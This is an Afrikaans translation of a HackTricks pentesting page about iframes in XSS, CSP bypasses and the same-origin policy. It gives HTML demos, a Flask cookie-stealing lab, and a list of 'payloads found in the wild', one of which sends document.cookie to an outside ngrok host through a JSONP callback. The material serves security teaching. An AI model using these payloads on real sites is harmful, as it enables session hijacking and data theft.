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hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

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# Iframes in XSS, CSP en SOP
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
GitBook: [#3347] No subject
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## Iframes in XSS
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Daar is 3 maniere om die inhoud van 'n iframed-bladsy aan te dui:
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* Via `src` wat 'n URL aandui (die URL kan kruis-oorsprong of dieselfde oorsprong wees)
* Via `src` wat die inhoud aandui deur die `data:`-protokol te gebruik
* Via `srcdoc` wat die inhoud aandui
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**Toegang tot ouer- en kindervariabele**
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```html
<html>
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<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
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</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
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As jy die vorige html via 'n http-bediener (soos `python3 -m http.server`) toegang gee, sal jy opmerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit voorkom nie). **Die ouer sal nie toegang hê tot die `secret` var binne enige ifram nie** en **slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan toegang kry tot die geheim in die oorspronklike venster**.\
Let daarop dat if4 as 'n "null" oorsprong beskou word.
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### Iframes met CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
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Let asseblief daarop hoe in die volgende omseilings die antwoord aan die iframed-bladsy geen CSP-kop bevat wat JS-uitvoering voorkom nie.
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{% endhint %}
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Die `self`-waarde van `script-src` sal nie die uitvoering van die JS-kode met die `data:`-protokol of die `srcdoc`-eienskap toelaat nie.\
Tog sal selfs die `none`-waarde van die CSP die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die `src`-eienskap plaas.\
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:
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```html
<html>
<head>
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<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
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</head>
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<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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</html>
```
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Let daarop hoe die **vorige CSP slegs die uitvoering van die inline skrip toelaat**.\
Tog sal **slegs `if1` en `if2` skripte uitgevoer word, maar slegs `if1` sal toegang tot die ouer se geheim hê**.
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GitBook: [#2917] No subject
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![](<../../.gitbook/assets/image (627) (1) (1).png>)
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Daarom is dit moontlik om **'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via 'n iframe kan laai, selfs met `script-src 'none'`**. Dit kan **moontlik ook gedoen word deur 'n selfde-site JSONP-eindpunt te misbruik**.
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Jy kan dit toets met die volgende scenario waar 'n koekie selfs met `script-src 'none'` gesteel word. Voer net die toepassing uit en besoek dit met jou webblaaier:
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
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resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
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@app.route("/cookie_s.html")
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
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if __name__ == "__main__":
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app.run()
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```
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### Ander vragmotors wat in die wild gevind is <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
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### Iframe sandkas
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Die inhoud binne 'n iframe kan onderworpe word aan addisionele beperkings deur die gebruik van die `sandbox` eienskap. Standaard word hierdie eienskap nie toegepas nie, wat beteken dat daar geen beperkings in plek is nie.
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Wanneer dit gebruik word, plaas die `sandbox` eienskap verskeie beperkings op:
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- Die inhoud word hanteer asof dit afkomstig is van 'n unieke bron.
- Enige poging om vorms in te dien, word geblokkeer.
- Uitvoering van skripte is verbied.
- Toegang tot sekere API's is gedeaktiveer.
- Dit voorkom dat skakels met ander blaaikontekste interaksie hê.
- Die gebruik van plugins via `<embed>`, `<object>`, `<applet>`, of soortgelyke etikette word nie toegelaat nie.
- Navigasie van die inhoud se top-vlak blaaikonteks deur die inhoud self word voorkom.
- Funksies wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus op vormbehelemente, word geblokkeer.
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Die waarde van die eienskap kan leeg gelaat word (`sandbox=""`) om al die genoemde beperkings toe te pas. Alternatiewelik kan dit gestel word as 'n spasiëring-geskeide lys van spesifieke waardes wat die iframe vrystel van sekere beperkings.
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```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
GitBook: [#3603] No subject
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## Iframes in SOP
GitBook: [#3602] No subject
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Kyk na die volgende bladsye:
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
GitBook: [#3347] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
GitBook: [#3347] No subject
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Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
Translated to Afrikaans
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
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